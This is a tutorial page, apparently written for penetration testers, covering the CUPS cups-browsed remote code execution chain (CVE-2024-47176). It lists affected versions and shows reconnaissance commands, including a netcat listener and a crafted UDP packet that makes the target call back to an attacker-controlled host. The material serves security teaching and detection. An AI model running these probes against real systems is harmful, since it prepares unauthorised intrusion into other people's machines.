Skip to content
HackIndex logo

HackIndex

CUPS RCE — CVE-2024-47176

3 min read Apr 4, 2026

CVE-2024-47176 is part of a four-CVE chain disclosed in September 2024 that enables unauthenticated remote code execution on systems running cups-browsed. The attack works by sending a crafted UDP packet to port 631 that causes cups-browsed to connect back to an attacker-controlled IPP server. The malicious IPP server advertises a printer with a crafted PPD file containing a command injection payload. When a user or automated process triggers a print job on the malicious printer, the injected command executes as the lp or cups user. The full chain requires CVE-2024-47176 (cups-browsed), CVE-2024-47076 (libcupsfilters), CVE-2024-47175 (libcups), and CVE-2024-47177 (cups-filters).

Affected Versions

Component

Vulnerable

Fixed in

cups-browsed

All versions before 2.0.1

2.0.1

CUPS

Before 2.4.11

2.4.11

libcupsfilters

Before 2.1.0

2.1.0

cups-filters

Before 2.0.1

2.0.1

Prerequisites Check

Three conditions must be true for the attack to work:

┌──(kali㉿kali)-[~]
└─$ # 1. Confirm CUPS version
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:631/ | grep -i cups 
<title>Home - CUPS 2.4.2</title>
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections, skipping certificate verification.
http://$TARGET_IP:631/ Target URL with variable IP, hitting default CUPS port 631.
-i Case-insensitive pattern matching for grep search.
┌──(kali㉿kali)-[~]
└─$ # 2. Confirm UDP 631 is reachable (cups-browsed listener)
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p 631 $TARGET_IP --open 
631/udp open  ipp
┌──(kali㉿kali)-[~]
└─$ # 3. Confirm cups-browsed callback reaches your host — send probe packet and listen
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnup 631 &
┌──(kali㉿kali)-[~]
└─$ echo -e '0 3 http://$LHOST:631/printers/probe' | nc -u $TARGET_IP 631
┌──(kali㉿kali)-[~]
└─$ # cups-browsed will attempt to connect back to $LHOST:631 
Connection from 10.10.10.50:631
GET /printers/probe HTTP/1.1
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, shows connection details.
-n Skip DNS resolution, use numeric IPs only.
-u Use UDP protocol instead of TCP.
-p 631 Bind to local port 631 (IPP/CUPS port).
-e Enable interpretation of backslash escape sequences.
0 3 http://$LHOST:631/printers/probe Crafted CUPS browse packet pointing callback URL to attacker host.
-u Send data via UDP to the target.
$TARGET_IP 631 Target host IP and UDP port 631 to reach cups-browsed.

An inbound HTTP GET from the target to your host confirms cups-browsed is running, is reachable via UDP 631, and will follow attacker-controlled URLs. All prerequisites are met. Move to CUPS malicious printer RCE for the full exploitation chain.

Version Check via SSH or Local Access

When you have local access or SSH to the target, confirm exact package versions:

user@host ~ $ dpkg -l cups cups-browsed libcupsfilters1 cups-filters 2>/dev/null | grep -E '^ii' | awk '{print $2,$3}' 
cups 2.4.2-7ubuntu5
cups-browsed 2.0.0-0ubuntu4
libcupsfilters1 1.28.17-3ubuntu2
cups-filters 1.28.17-3ubuntu2
Explain command
-l List installed packages matching the given name patterns.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.
-E Enable extended regular expressions in grep pattern matching.
'^ii' Pattern matching lines starting with 'ii' (installed packages).
'{print $2,$3}' Print the package name (field 2) and version (field 3).
user@host ~ $ systemctl is-active cups-browsed && echo 'cups-browsed running' 
active
cups-browsed running

Nuclei Detection

┌──(kali㉿kali)-[~]
└─$ nuclei -u http://$TARGET_IP:631/ -tags cve2024-47176,cups -severity critical,high 
[CVE-2024-47176] [critical] http://10.10.10.50:631 [CUPS RCE via cups-browsed]
Explain command
-u Target URL to scan.
http://$TARGET_IP:631/ Target host and port placeholder; 631 is the CUPS service port.
-tags Filter templates by specified tags.
cve2024-47176,cups Run only templates tagged with CVE-2024-47176 or cups.
-severity Filter templates by severity level.
critical,high Only run templates rated critical or high severity.

References